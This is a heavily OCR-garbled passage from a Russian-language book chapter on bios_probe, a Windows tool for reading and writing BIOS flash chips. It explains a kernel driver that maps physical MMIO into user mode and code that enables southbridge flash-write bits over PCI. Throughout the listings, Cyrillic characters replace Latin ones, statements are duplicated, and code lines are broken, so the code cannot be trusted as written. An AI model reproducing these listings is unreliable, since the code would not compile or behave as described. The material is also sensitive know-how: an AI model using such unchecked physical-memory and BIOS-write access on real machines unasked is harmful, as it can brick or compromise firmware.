Пой вызове этих функций, диспетчер ввода-вывода передает им два парамет- Первый параметр — это указатель на объект устройства, сопоставлен- ДРайвеРУ> а второй — указатель на структуру данных 1RP в резидентном (невытесняемом) пуле пространства памяти ядра.
ражно помнить, что объект устройства — это не то же самое, что и объект драйвера- Для каждого драйвера может существовать лишь один объект драйвера, но несколько объектов устройства, т. е. драйвер может иметь более одного устройства. Узнать, сколько объектов устройства имеет драйвер, можно по числу вызовов функции loCreateDevice в исходном коде драйвера. Каждый успешный вызов loCreateDevice создает один объект устройства, р исходном коде драйвера bios_probe эта функция вызывается только один раз, во время исполнения функции DriverEntry (листинг 9.25).
Плстинг 9.25. Вызов функции loCreateDevice во время исполнения функции £ iverEntry (фрагмен листинга 9.21)
status = loCreateDevice( Driverobject, sizeof(DEVTCE_EXTENSION), SunicodeDeviceName, FILE_DEVICE_UNKNOWN, 0, (BOOLEAN) FALSE, &deviceObject);
В конце исполнения функции DriverEntry инициализируется содержимое расширения объекта устройства. Расширение объекта устройства содержит информацию об отображении физической памяти чипа BIOS в виртуальное адресное пространство приложения пользовательского режима (листинг 9.26).
Листинг 9.26. Информация об отображении физической памяти чипа BIOS 8 виртуальное адресное пространство приложения пользовательского режима
typedef struct _MMIO_RING_0_MAP{
PVOID sysAddrBase; // Начальный системный виртуальный
// адрес отображенного физического // диапазона адресов.
ULONG
size;//
//
Размер отображенного физического диапазона адресов.
PVOID
usermodeAddrBase; // // //
Указатель на виртуальный адрес пользовательского режима, в который этот диапазон отображен
PMDL pMdl;// Список дескрипторов памяти
// для диапазона MMIO, // которое нужно отобразить.
}MMIO_RING_0_MAP, *PMMIO_RING_0_MAP;
typedef struct _DEVICE_EXTENSION{
MMIO_RING_0_MAP mapZone[MAX_MAPPED_MMIO];
}DEVICE-EXTENSION, *PDEVICE_EXTENSION;
Фрагмент кода, представленный в листинге 9.26, четко показывает, что в структуру данных расширения объекта устройства можно отображать диапазоны адресов физической памяти. Максимальное число диапазонов адресов, которые можно отобразить в расширение объекта устройства, указывается в переменной MAX_MAPPED_MMIO.
Я не буду заострять внимание на обсуждении функции Dispatchcreate, так как она ничего не делает. Она всего лишь возвращает код успешного завершения диспетчеру ввода-вывода. Ее единственное назначение состоит в том, чтобы ответить функциям API createFiie и cioseHandie правильным значением, когда приложение пользовательского режима открывает доступ к драйверу.
Наиболее важной частью драйвера является обработчик кодов IOCTL. Значительная часть взаимодействий между приложением пользовательского режима и драйвером bios_probe осуществляется с помощью кодов IOCTL. После того как дескриптор драйвера будет успешно открыт, коды IOCTL могут поступать в драйвер, где они обрабатываются функцией Dispatchiocontroi. В этой функции поступивший код анализируется в операторе switch, который вызывает соответствующий обработчик. Например, когда в драйвер поступает код IOCTL read_port_byte, функция Dispatchiocontroi вызывает обработчик ReadPortByte. Обработчик ReadPortByte считывает байт из указанного аппаратного порта и передает его приложению пользовательского режима- Обратите внимание, что некоторые части обработчика ReadPortByte реализованы в виде встроенных (inline) процедур на языке ассемблера, так как они работают непосредственно с аппаратными средствами. Все обработчики ДаН НОГО типа, Т. е. обработчики ReadPortWord, ReadPortLong, WritePortByte’ WritePortWord И WritePortLong, работают подобно обработчику ReadPortByte’ Разница заключается только в количестве параметров функций, с который они работают, а также в типе операций, которые они выполняют. Функции начинающиеся со строки write, выполняют операции записи в указанн аппаратный порт.
|(роме ТОГО, функция DispatchloControl вызывает обработчики MapMmio и unmapMmio. Как несложно догадаться, процедура MapMmio отображает диапазоны адресов физической памяти в виртуальное адресное пространство приложения пользовательского режима, а процедура UnmapMmio впоследствии удаляет это отображение. Адреса памяти BIOS находятся в пространстве адресов ввода-вывода MMIO. Диапазон адресов ввода-вывода MMIO можно отобразить на виртуальное адресное пространство приложения пользовательского режима следующим образом:
С помощью функции MmMapioSpace, физический диапазон адресов ввода- вывода отображается на виртуальное адресное пространство ядра.
Создается список MDL (memory descriptor list — список дескрипторов памяти), описывающий диапазон адресов ввода-вывода, отображенных на виртуальное адресное пространство ядра в пункте 1.
Диапазон адресов виртуального адресного пространство ядра с отображенным на него в пункте 1 физическим диапазоном адресов ввода- вывода, отображается на виртуальное адресное пространство приложения пользовательского режима. Для этого применяется функция MmMapLockedPagesSpecifyCache. В первом параметре этой функции передается список MDL, полученный в пункте 2.
Функция MmMapLockedPagesSpecifyCache в пункте 3 возвращает указатель на начальный адрес отображенного диапазона адресов, как его видно из виртуального адресного пространства приложения пользовательского режима.
Только что описанный алгоритм реализуется функцией MapMmio следующим образом (листинг 9.27).
Листинг 9.27. Реализация алгоритма отображения диапазона адресов ММЮ
I ■ виртуальное адресное пространство приложения пользовательского режима
^STATUS MapMmio (PDEVICE_OBJECT pDO, PIRP plrp) /*++ "
Опчсание подпрограммы:
Обрабатывает пакеты IRP с кодом IOCTL_MAP_MMIO.
Эта процедура отображает физический диапазон адресов
на адресное пространство приложения пользовательского режима.
Аргументы: pDO — Указатель на объект устройства этого драйвера, plrp — Указатель на пакет IRP.
Возвращаемое значение: Код статуса Windows NT
ПРИМЕЧАНИЕ:
Эта функция может отображать только первые 4 ГБ.
— */
{
PDEVICE_EXTENSION pDevExt;
PHYSICAL-ADDRESS phyAddr;
PMMIO—MAP pUsermodeMem;
ULONG i, free_idx;
pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension;
H
// Проверяем на наличие свободной области mapZone
// в расширении устройства.
// Если таковой не имеется, возвращаем код ошибки.
И
for(i = 0; i < МАХ_MAPPED—MMIO; i++)
{‘
if( pDevExt->mapZone[i].sysAddrBase == NULL )
{
free_idx = i;
break;
}
}
if( i == MAX_MAPPED_MMIO )
{
return STATUS.INVALID—DEVICE—REQUEST;
}
H
// Нашли свободную mapZone; отображаем физический диапазон адресов.
И
pUsermodeMem = (MMIO—MAP*) MmGetSystemAddressForMdlSafe( p!rp->MdlAddress, NormalPagePriority );
// Error handler code omitted
phyAddr.HighPart = 0,-
phyAddr. LowPart = pUserrnodeMem->phyAddrStart;
pDevExt->mapZone[free_idx] .sysAddrBase = MmMapIoSpace ( phyAddr, pUsermodeMem->size, MmNonCached) ;
// Код обработчика ошибок не показан.
pDevExt-->mapZone[free_idx] .pMdl = loAllocateMdl (
pDevExt->mapZone(free_idx] . sysAddrBase,
pUsermodeMem->size, FALSE,
FALSE, NULL);
// Код обработчика ошибок не показан.
pDevExt->mapZone[free_idx] .size = pUsermodeMem->size;
//
N Отображаем системные виртуальных адреса на виртуальное
// адресное пространство пользовательского режима.
//
MmBuildMdlForNonPagedPool (pDevExt->mapZone[free_idx] .pMdl) ;
pDevExt->mapZone[free_idx] .usermodeAddrBase =
MmMapLockedPagesSpecifyCache( pDevExt->mapZone[free_idx].pMdl,
UserMode, MmNonCached,
NULL, FALSE, NormalPagePriority);
И Код обработчика ошибок не показан.
// Копируем полученные виртуальные адреса
// пользовательского режима в буфер IRP.
PUsermodeMem->usermodeVirtAddr =
pDevExt->mapZone [ free_idx] . usermodeAddrBase ;
return STATUS_SUCCESS;
)
Функция unmapMmio удаляет отображения, установленные функцией MapMmio. Та Функция должна вызываться после того, как приложение пользователь-
СКого режима завершит работу с BIOS. Если этого не сделать, возможен катастрофический сбой системы. Тем не менее, на случай, если приложение 2°льзовательского режима в драйвере устройства bios_probe не удалит ото- °Ражения физической памяти в свое виртуальное адресное пространство, Ставил в функцию Dispatchclose фрагмент кода, который убирает все ус-
Тановленные отображения.
Приложение пользовательского режима утилиты bios probe
Первоначальный компонент пользовательского режима утилиты fiash_n_burn для Linux поддерживает большое число чипов флэш-ROM. Я не буду концентрировать внимание на объяснении принципов осуществления поддержки всех этих чипов в утилите bios_probe, а ограничусь лишь одним примером —, реализацией поддержки чипа Winbond W39V040FA.
Компонент утилиты bios_probe, работающий в пользовательском режиме состоит из следующих логических компонентов:
Основное приложение. Этот компонент состоит из нескольких файлов direct_io.c, error_msg.c, flash_rom.c, jedec.c, directjo.h, error_msg.h, flash.h, jedec.h и прочих исходных файлов, реализующих поддержку отдельных типов чипов флэш-ROM. Эти файлы называются по имени соответствующего чипа или его номера изделия (part number). Исполнение утилиты bios_probe начинается в файле flash rom.c, в котором находится функция точки входа — main. Это главное приложение основано на исходном коде для f lash_n_burn из проекта Freebios.
Библиотека PCI. Файлы этого компонента находятся в подкаталоге libpci каталога ехе. Этот компонент отвечает за обнаружение всех устройств PCI в системе и создание объектов для их представления. Основное приложение использует структуру данных, чтобы получить доступ к чипу ROM BIOS через южный мост системы. Этот компонент состоит из нескольких файлов, а именно — access.c, filter.c, generic.с, i386-ports.c, header.h, internal.h и pci.h. Эта библиотека была портирована из библиотеки PCI утилиты pciutils версии 2.1.11 для Linux, разработанной Мартином Мэйерсом (Martin Mares). Чтобы уменьшить размер исходного кода утилиты bios_probe, я удалил из первоначальной библиотеки файлы, которые не нужны для нормальной работы утилиты.
Подробные описания индивидуальных компонентов библиотеки приводятся в последующих подразделах.
Основное приложение
Вкратце, назначение каждого исходного файла основного приложения еле дующее:
flash_rom.c. Содержит точку входа в bios_probe, т. е. функцию main. Кр° ме того, этот файл содержит процедуру вызова библиотеки PCI. прои6^ ру для разрешения доступа к чипу флэш-ROM через южный мост и масс*10
объектов, содержащих функции поддержки чипов ROM. Для каждого типа чипа флэш-ROM имеется свой файл поддержки, реализующий обработчик данного чипа ROM.
rj flash.h. Содержит определение структуры данных, называющейся flashchip. Эта структура данных хранит указатели на функции и переменные, необходимые для доступа к чипу флэш-ROM. Кроме того, данный файл содержит номер идентификатора производителя (vendor ID) и номер идентификатора устройства (device ID) чипа флэш-ROM, поддерживаемого утилитой bios_probe.
error_msg.h. Заголовочный файл для процедуры, выводящей сообщения об ошибках.
error_msg.c. Исходный код процедуры, выводящей сообщения об ошибках. Это вспомогательная процедура, так как она не выполняет никаких операций, специфичных для утилиты bios_probe.
directjo.h. Содержит объявления функций, связанных с драйвером устройства утилиты bios_probe, включая функции для прямого взаимодействия с аппаратным портом (операции прямого чтения или записи.
direct_io.c. Содержит реализации функций, объявленных в файле direct_io.h, и внутренние функции для загрузки, выгрузки, активации и деактивации драйвера устройства.
jedec.h. Содержит объявления функций, совместимых с чипами флэш- ROM различных производителей и соответствующие стандарту JEDEC. Обратите внимание, что некоторые функции в файле jedec.h не только объявлены, но и реализованы как встроенные функции.
jedec.c. Содержит реализации функций, объявленных в файле jedec.h.
Flash_chip_part_number.c. Это не файл, а шаблон имени файлов, реализующий поддержку конкретных чипов флэш-ROM. Эти файлы имеют названия следующего вида: w49ft)02u.c, w39v040fa.c и т.п.
^ Flash_chip_part_number.h. Это — тоже не файл, а шаблон названий файлов, в которых объявляется поддержка чипов флэш-ROM. Эти файлы имеют названия следующего вида: w49f002u.h, w3 9v040fa.h и т. п.
еперь рассмотрим ход исполнения основного приложения. Не забывайте, Чт° при помощи текстового редактора vi и утилиты ctags для создания файЛа тегов из исходного кода вы сможете проанализировать ход исполнения пР°граммы намного быстрее, чем исследуя каждый файл индивидуально, фрагмент файла flash_rom.c показан в листинге 9.28.
Листинг 9.28. Сокращенное содержимое файла flash_rom.c.
/*
flash_rom.c: Утилита для программирования флэш
чипов материнских плат SiS 630/950.
Copyright 2000 Silicon Integrated System Corporation
Эта программа распространяется бесплатно. Вы можете передавать
ее в пользование третьим лицам и/или модифицировать ее согласно
условиям второй или (по вашему усмотрению) более поздней версии * стандартной общедоступной лицензии GNU Фонда бесплатного ПО.
* $Id: flash_rom.c,v 1.23 2003/09/12 22:41:53 rminnich Exp $
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "libpci/pci.h"
#include "error_msg.h"
#include "direct_io.h"
#include "flash.h"
#include "jedec.h"
#include "m29f400bt.h"
#include "msys_doc.h"
#include "am29f040b.h"
#include "sst28sf040.h"
#include "w49f002u.h"
#include "w39v040fa.h"
#include "82802ab.h"
#include "sst39sf020.h"
#include "mx29f002.h"
struct flashchip flashchips{] = {
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
("W49F002U", WINBOND_ID, W_49F002U, NULL, 256, 128, probe_49f002,erase_49f002,write_49f002, NULL, NULL),
{"W39V040FA", WINBOND_ID, W_39V040FA, NULL, 512, 4096,
/* TODO: The sector size must be correct! */ probe_39v040fa, erase_39v040fa, write_39v040fa, NULL, NULL},
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
{NULL,}};
char *chip_to_probe = NULL;
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
int
enable_flash_vt82C596B( struct pci_dev *dev, char *name) { unsigned char val;
// Разрешается дешифрование диапазонов адресов FFF00000h-FFF7FFFFh,
// FFF80000h-FFFDFFFFh, и FFFEOOOOh-FFFEFFFFh для обращения
II чипу флэш-ROM BIOS.
val = pci_read_byte(dev, 0x43);
val |= OxEO;
Pci_write_byte(dev, 0x43, val);
if (pci_read_byte(dev, 0x43) != val) {
printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 0x43, val, name);
return -1;
)
// Разрешается запись чипа флэш-BIOS для VIA 596В.
val = pci_read_byte(dev, 0x40);
val |= 0x01;
Pci—write_byte(dev, 0x40, val);
if (pci_read_byte(dev, 0x40) != val) (
Printf("tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n",
0x40, val, name); return -1; } return 0; }
int enable_flash_i82801EB(struct pci_dev *dev, char *name) ( // Выполняется операция логическое ИЛИ на регистре 4е.Ь. unsigned char old, new;
// Инициализируем регистр Flash_BIOS_Decode_Enable_l. old = pci_read_byte(dev, ОхеЗ);
new = old | Oxff;
if (new == old) return 0;
pci_write_byte(dev, ОхеЗ, new);
if (pci„read_byte(dev, ОхеЗ) != new) ( printf("Tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", ОхеЗ, new, name);
return -1; }
// Регистр управления BIOS, разрешаем запись old = pci_read_byte(dev, 0x4e);
new = old | 1; if (new == old) return 0;
pci_write_byte(dev, 0x4e, new);
if (pci_read_byte(dev, 0x4e) ! = new) { printf("Tried to set 0x%x to 0x%x on %s failed (WARNING ONLY)\n", 0x4e, new, name);
return -1; } return 0;
struct flashchip * probe_flash(struct flashchip * flash)
(
volatile char * bios;
unsigned long size;
volatile char * chip_addr;
SYSTEM_INFO si;
while (flash->name != NULL) ( if (chip_to_probe && strcmp(flash->name, chip_to._probe) != 0) ( flash++;
continue;
}
printf("Trying %s, %d KB\n", flash->name, flash->total_size); size = flash->total_size * 1024;
// Ошибка? Что произойдет, если размер getpagesize()будет больше? GetSystemlnfo(&si);
if(si.dwPageSize > size) (
size = si.dwPageSize;
printf("%s: warning: size: %d -> %ld\n", „„FUNCTION, flash->total_size * 1024, (unsigned long)size);
}
bios = (volatile char*) MapPhysicalAddress((unsigned long) (0 - size), size);
// Код обработчика ошибки не показан.
flash->virt_addr = bios;
chip_addr = bios;
printf("chip„addr = 0x%Fp\n", chip_addr);
if (flash->probe(flash) == 1) { printf ("%s found at physical address: 0x%lx\n", flash->name, (0 - size));
return flash;
}
UnmapPhysicalAddress( (void*)bios, size); flash++;
return NULL;
}
int verify_flash (struct flashchip * flash, char * buf, int verbose) (
int i = 0;
int total_size = flash->total_size *1024;
volatile char * bios = flash->virt_addr;
printf("Verifying address: "); H Удостоверяем правильность адреса while (i < total_size) ( if (verbose)
printf("0x%08x", i);
if (*(bios+i) != *(buf+i)) { printf("FAILED\n");
return 0;
) if (verbose)
printf("\b\b\b\b\b\b\b\b\b\b");
i++;
}
if (verbose) { printf("\n");
} else { printf("VERIFIEDXn");
}
return 1;
}
// Считаем до миллиарда и засекаем, сколько это занимает;
// если меньше секунды, считаем до 10 миллиардов, и т. д.
unsigned long micro = 1,-
int
myusec_calibrate_delay() (
int count = 1000;
unsigned long timeusec;
int ок = 0; LARGE_INTEGER freq, cnt_start, cnt_end;
void myusec_delay(int time);
printf("Setting up microsecond timing loop\n");
// Устанавливаем цикл для замера микросекунды.
// Узнаем число отсчетов за секунду.
if( (FALSE == QueryPerformanceFrequency(&freq)) && (freq.QuadPart < 1000000))
( return 0; И Неудача.
}
while (! ok) {
QueryPerformanceCounter(&cnt_start);
myusec_delay(count);
QueryPerformanceCounter(&cnt_end);
timeusec = (((cnt_end.QuadPart - cnt_start.QuadPart) *1000000) / freq.QuadPart);
count *= 2; if (timeusec < 1000000/4) continue;
ok = 1;
}
// Вычисляем 1 миллисекунду по формуле count / timeusec micro = count / timeusec;
fprintf(stderr, "%ldM loops per second\n", (unsigned long) micro);
return 1; // Успешное выполнение. )
Void
^se^delaytint time)
(
volatile unsigned long i;
ford = 0; i < time * micro; i++)
}
typedef struct penable { unsigned short vendor, device; char *name;
int (*doit)(struct pci_dev *dev, char *name);
} FLASH_ENABLE;
FLASH_ENABLE enables[] = (
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
(0x1106, 0x0596, "VT82C596B", enable_flash_vt82C596B}, /* VIA 596В PCI- to-ISA Bridge */
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
int
enable_flash_write() {
int i;
struct pci_access *pacc;
struct pci_dev *dev = 0;
FLASH_ENABLE *enable = 0;
pace = pci_alloc();/* Получаем структуру pci_access. */
/* Устанавливаем опции.*/
/* Я оставляю опции по умолчанию.*/ pci_init(расе);/* Инициализируем библиотеку PCI. */
pci_scan_bus(pacc);/* Получаем список устройств.*/
/* Пробуем определить используемый чипсет. */
for(i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) ( struct pci_filter f;
struct pci_dev *z;
/* Первый параметр не используется. */
pci_filter_init((struct pci_access *) 0, &f);
£.vendor = enables[ i ] .vendor;
f.device = enables[i].device;
for(z = pacc->devices; z; z = z->next) if (pci_filter_match(&f, z)) (
enable = &enables[i];
dev = z;
}
}
/* выполняем задание.*/
if (enable) {
printf("Enabling flash write on %s...", enable->name);
// Разрешаем запись в чип флэш-ROM
if (enable->doit(dev, enable->name) == 0) printf("OK\n");
}
return 0;
)
void usage (const char *name)
{
printf("usage: %s [-rwv] [-c chipname][file]\n", name); printf("-r: read flash and save into file\n"
"-rv: read flash, save into file and verify against the " "contents of the flashXn"
"-w: write file into flash (default when file is specified)\n" "-wv: write file into flash and verify flash against fileXn" "-c: probe only for specified flash chipXn");
exit(1);
int
^ain (int argc, char * argv[])
char * buf;
unsigned long size;
FILE * image;
struct flashchip * flash;
int read_.it = 0, write_it = 0, verify_it = 0; char *filename = NULL;
//////////////////////////////////////////////////////////
// Обработчик входных параметров (импровизированное решение).
И
if ( ( argc < 3) || (argc > 5) ) (
usage(argv[0]); // Показываем применение и завершаем // исполнение программы.
}
if( !strcmp(argv[1], "-w") ) {
write_it = 1;
}
else if(!strcmp(argv[1], B-r"))
( read_it = 1;
}
else if(!strcmp(argv[l], "-wv")) (
write_.it = 1; verify_it = 1;
)
else if(!strcmp(argv(l), "-rv")) (
read_.it = 1;
verify_it = 1;
} else (
usage(argv[0]); // Показываем применение и завершаем // исполнение программы.
}
if( !strcmp(argv[2], "-с") )
(
chip_to_probe = strdup(argv[3]); filename = argv['4] ;
}
else
<
filename = argv[2];
}
if (read_it && write_it) {
printf("-r and -w are mutually exclusiveXn");
// Опции -г и — w являются взаимно исключающими
usage(argv[0)); // Показываем применение и завершаем // исполнение программы.
}
printf("Calibrating timer since microsleep sucks ... takes a" " secondXn");
// Калибруем таймер, так как функция microsleep никуда //не годится. Это займет всего лишь секунду.
if(0 == myusec_calibrate_delay())
{
// Код обработчика ошибки не показан.
return 0;
}
printffOK, calibrated, now do the deedXn");
// Таймер откалиброван, выполняем задание.
//
// Инициализируем интерфейс драйвера для прямых операций
// ввода-вывода(outl, inb и т. д.) и отображаем пространство
// памяти чипа BIOS в текущее адресное пространство приложения
// пользовательского режима.
И
if ( InitDriverO == 0)
{
printf("Error: failed to initialize driver interfaceXn"); // Ошибка — не удалось инициализировать // интерфейс драйвера.
return 0;
}
/* Пробуем разрешить чип; неудача - допустимый вариант, так как это нужно делать не для всех материнских плат.
*/
(void) enable_flash_write(); if ((flash = probe_flash (flashchips)) == NULL) ( // Код обработчика ошибки не показан, exit(1);
}
printf("Part is %s\n", flash->name); if (!filename){ // Код обработчика ошибки не показан, return 0; } size = flash->total_size * 1024; buf = (char *) calloc(size, sizeof(char));
if(NULL == buf) { // Код обработчика ошибки не показан, exit(1);
} if (read_it ) { if ((image = fopen(filename, "wb")) == NULL) { // Код обработчика ошибки не показан, exit(1); ) printf("Reading Flash..."); II Считываем чип флэш-ROM if(flash->read == NULL) ( memcpy(buf, (const char *) flash->virt_addr, size); } else { flash->read(flash, buf); } fwrite(buf, sizeof(char), size, image); fclose(image); printf("done\n");
} else { if ((image = fopen (filename, "rb")) == NULL) { // Код обработчика ошибки не показан, exit(1); ) fread (buf, sizeof(char), size, image);
fclose(image);
г£ (write_.it || (!read_it && !verify_it)) flash->write(flash, buf);
if (verify_it)
verify_flash(flash, buf, /* verbose = */ 0);
if(NULL != buf)
free( buf ); // Освобождаем кучу.
CleanupDriver(); // Зачищаем интерфейс драйвера, return 0;
Как и подобает консольному приложению, точка входа утилиты bios_probe — это функция main. Так что, начнем разбор данной утилиты с этой функции. Первым делом, функция main проверяет данные, введенные пользователем, чтобы узнать его намерения — читать ли чип флэш-ROM, записывать ли в него, и делать ли проверку на успешное завершение операции. После этого вызывается функция myusec_caiibrate_deiay. Эта функция калибрует циклический счетчик на необходимую задержку длиной приблизительно в 1 миллисекунду, как показано в листинге 9.29.
Пистинг 9.29. Установка задержки в 1 миллисекунду
U В функции main:
if(0 == myusec_calibrate_delay()) И ...
int myusec_calibrate_delay()
{
int count = 1000;
unsigned long timeusec;
int ok = 0;
1^GE_INTEGER freq, cnt_start, cnt_end;
v°id myusec_delay (int time) ;
Printf ("Setting up microsecond timing loop\n"); // Устанавливаем цикл для замера микросекунды. • Узнаем число отсчетов за секунду.
if( (FALSE == QueryPerformanceFrequency(&freq)) && (freq.QuadPart < 1000000))
return 0; // Неудача }
while (! ok) {
QueryPerformanceCounter(&cnt_start);
myusec_delay(count);
QueryPerformanceCounter(&cnt_end);
timeused = (((cnt_end.QuadPart - cnt_start.QuadPart) * 1000000) / freq.QuadPart);
count *= 2;
if (timeusec < 1000000/4) continue;
ok = 1;
// Вычисляем 1 миллисекунду по формуле count / timeusec.
micro = count / timeusec;
fprintf(stderr, "%ldM loops per second\n", (unsigned long)micro);
return 1; H Успех
void myusec_delay(int time)
{
volatile unsigned long i;
for(i = 0; i < time * micro; i++)
Для некоторых транзакций с чипом флэш-ROM (особенно транзакций, свя занных с операциями чтения и записи) необходима задержка в 1 миллисе кунду. Для этих транзакций мы и откалибровали цикл на 1 миллисекунДУ Обратите внимание, что тип переменной счетчика в функции myusec_dela^
05Ъявлен как volatile, чтобы избежать оптимизации при компилировании. Таким образом, эта переменная будет помещена в RAM. Так как при оптимизации счетчик помещается в регистр, и при компиляции цикл разворачивает- сЯ31, возникает вероятность, что вскоре после запуска операция приращения может вызвать переполнение буфера и сопутствующие этому побочные явления. После калибровки цикла задержки, функция main вызывает функцию initDriver, чтобы инициализировать драйвер устройства (см. листинг 9.30).
инг 9.30. Вызов процедуры инициализации драйвера
// этот фрагмент кода находится в функции main.
if ( InitDriver() == 0)
{
printf("Error: failed to initialize driver interface\n"); // Ошибка — не удалось инициализировать // интерфейс драйвера.
return 0;
}
// ...
Функция initDriver объявлена в файле direct io.h и реализована в файле direct io.c. Она извлекает драйвер из исполняемого файла, активирует его, а затем пытается получить дескриптор этого драйвера. Код для этого процесса показан в листинге 9.31.
1нг 9.31. Функция инициализации драйвера
/*
* file: direct_io.c
*/
//^Часть строк кода опущена, как не являющаяся необходимой ^ Для понимания рассматриваемого процесса.
lnt InitDriver () /*
В°звращаемое значение: 0 при неуспешном завершении;
при успешном завершении.
е ^°п°лнительную информацию о разворачивании цикла можно почерпнуть в Спросом руководстве Intel по оптимизации (Intel Optimization Reference Manual).
*/
{ DWORD errNum;
И
И Извлекаем бинарник драйвера из ресурса в исполняемом файле.
И
if (ExtractDriver(MAKEINTRESOURCE(lOl), "bios_probe.sys") == TRUE) { printf("The driver has been extracted\n");
// Драйвер извлечен.
} else {
DisplayErrorMessage(GetLastError()) ;
printf("Exiting..\n"); И Выходим из программы.
return 0;
}
И
Н Устанавливаем полный путь к имени драйвера.
И
if (!SetupDriverName(driverLocation)) { printf("Error: failed to setup driver name \n"); // Ошибка — не удалось установить имя драйвера.
return 0; }
И
И Пробуем активировать драйвер.
И
if(ActivateDriver(DRIVER_NAME, driverLocation, TRUE) == TRUE) { printf("The driver is registered and activated\n");
// Драйвер зарегистрирован и активизирован.
} else {
printf("Error: unable to register and activate the " "driver\n");
// Ошибка — нельзя зарегистрировать и активизировать
// драйвер.
DeleteFile(driverLocation);
return 0;
fpaea 9. Обращение к BIOS из операционной системы }
И
// Пробуем открыть только что установленный драйвер. И
hDevice = CreateFile( "\\\\.\\bios_probe", GENERIC_READ | GENERIC_WRITE, О, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if ( hDevice == INVALID_HANDLE_VALUE ){ errNum = GetLastError();
printf ( “Error: CreateFile Failed : %d\n", errNum ); // Ошибка: Неудача исполнения CreateFile
DisplayErrorMessage(errNum);
// Clean up the resources created and used up to now. ActivateDriver(DRIVER_NAME, driverLocation, FALSE); DeleteFile(driverLocation);
return 0;
}’
return 1;
Дескриптор, полученный В функции InitDriver, применяется для функций пРямого ввода и вывода, например, outb, outl и inw.
^°сле завершения инициализации драйвера устройства, функция main вызыва- процедуру enabie_fiash_write. Эта процедура конфигурирует регистр кон- Грации PCI южного моста материнской платы с тем, чтобы разрешить дос- к адресному пространству чипа BIOS. Во многих системах, после загрузки Рационной системы адресное пространство чипа BIOS становится недос- НЫМ. Как МОЖНО видеть В листинге 9.32, функция enable_flash_write до- $^^но сложна.
Листинг 9.32, Разрешение доступа к адресному пространству чипа BIOS
/*
* file: flash_rom.c
*/
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
int enable_flash_write() {
int i;
struct pci_access *pacc;
struct pci_dev *dev = 0;
FLASH_ENABLE ‘enable = 0;
pace = pci_alloc();pci_init(pace);pci_scan_bus(pace);pace = pci_alloc();pci_init(pace);pci_scan_bus(pace);/* Получаем структуру pci_access. */ /* Устанавливаем опции.*/
pace = pci_alloc();
pci_init(pace);
pci_scan_bus(pace);
pace = pci_alloc();
pci_init(pace);
pci_scan_bus(pace);
/* Я оставляю опции по умолчанию. */ /* Инициализируем библиотеку PCI. */ /* Получаем перечень устройств. */
/* Пробуем определить используемый чипсет. */
ford = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) { struct pci_filter f;
struct pci_dev *z;
/* Первый параметр не используется. */ pci_filter_init((struct pci_access *) 0, &f); f.vendor = enables[i].vendor;
f.device = enables[i].device;
for(z = pacc->devices; z; z = z->next) if (pci_filter_match(&f, z)) {
enable = &enables[i]; dev = z;
}
}
/* Выполняем задание.*/
if (enable) {
printf("Enabling flash write on %s...", enable->name);
// Разрешаем запись в чип флэш-ROM if (enable->doit(dev, enable->name) == 0) printf("0K\n");
}
return 0;
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
функция enabie_f iash_write использует библиотеку libpci для поиска устройств PCI на шине PCI и последующего изучения найденных устройств на наличие одного из поддерживаемых южных мостов. При обнаружении поддерживаемого южного моста, функция enable_fiash_write вызывает соответствующую функцию инициализации, чтобы разрешить доступ к чипу BIOS через данный южный мост. Поддерживаемые южные мосты представлены массивом объектов типа flash_enable, который называется enables (см. листинг 9.33).
Листинг 9.33. Структура данных для разрешения доступа к конкретному
. жн- му мосту
/*
* file: flash_rom.c
*/
И Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
typedef struct penable {
unsigned short vendor, device;
char *name;
mt (*doit)(struct pci_dev *dev, char *name) ;
1 fLASH_ENABLE;
^ Уасть элементов опущена, как не являющаяся необходимой Ч Для понимания рассматриваемого процесса.
,LasH_enable enables [] = {
^xl, 0x1, "sis630 — what's the ID?", enable_flash_sis630},
(°X8O86, 0x2480, "E7500", enable_flash_e7500},
(°X8O86, 0x24D0, "ICH5", enable_flash_i82801EB}, /* ICH5 LPC Bridge */
(°X11O6, 0x8231, ■,VT8231'', enable_flash_vt8231},
(°X11O6, 0x0596, "VT82C596B", enable_f lash_vt82C596B), /* VIA 596B */
(0x1106, 0x3177, "VT8235", enable_flash_vt8235}, (0x1078, 0x0100, "CS5530", enable_flash_cs5530}, (0x100b, 0x0510, "SCHOO", enable_flash_sc!100}, (0x1039, 0x8, "SIS5595", enable_flash_sis5595},
};
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
Значение, возвращаемое функцией enabie_fiash_write, не проверяется в функции main, потому что в некоторых материнских платах адресное пространство чипа BIOS не защищается от доступа.
Когда функция enable_f lash_write возвратит управление, функция main исследует систему на наличие поддерживаемого чипа флэш-ROM. Соответствующий код показан в листинге 9.34.
Листинг 9.34. Обнаружения поддерживаемого чипа флэш-ROM BIOS
/*
{
у у Часть строк кода опущена, как не являющаяся необходимой
у у для понимания рассматриваемого процесса.
if ((flash = probe_flash (flashchips)) == NULL) { printf("EEPROM not found\n");
CleanupDriver(); И Зачищаем интерфейс драйвера. exit(l);
)
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
)
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
struct flashchip * probe_flash(struct flashchip * flash) {
volatile char * bios;
unsigned long size;
volatile char * chip_addr;
SYSTEM_INFO si;
while (flash->name 1= NULL) (
if (chip_to_probe && strcnp(flash->name, chip_to_probe) != 0) { flash++;
continue;
}
